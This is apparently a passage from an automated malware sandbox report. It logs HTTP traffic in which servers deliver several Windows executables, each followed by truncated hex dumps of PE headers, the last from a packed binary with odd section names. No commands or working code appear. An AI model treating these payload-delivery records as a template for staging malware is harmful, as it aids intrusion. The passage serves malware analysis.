00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 08:16:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 08:16:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 08:16:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 08:16:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 08:16:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 08:17:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 08:17:06 GMTContent-Type: application/octet-streamContent-Length: 1917952Last-Modified: Sat, 23 Nov 2024 08:13:02 GMTConnection: keep-aliveETag: "67418e8e-1d4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4c 00 00 04 00 00 46 40 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 e4 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 e4 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 76 76 78 6a 66 6c 63 00 30 1a 00 00 c0 31 00 00 26 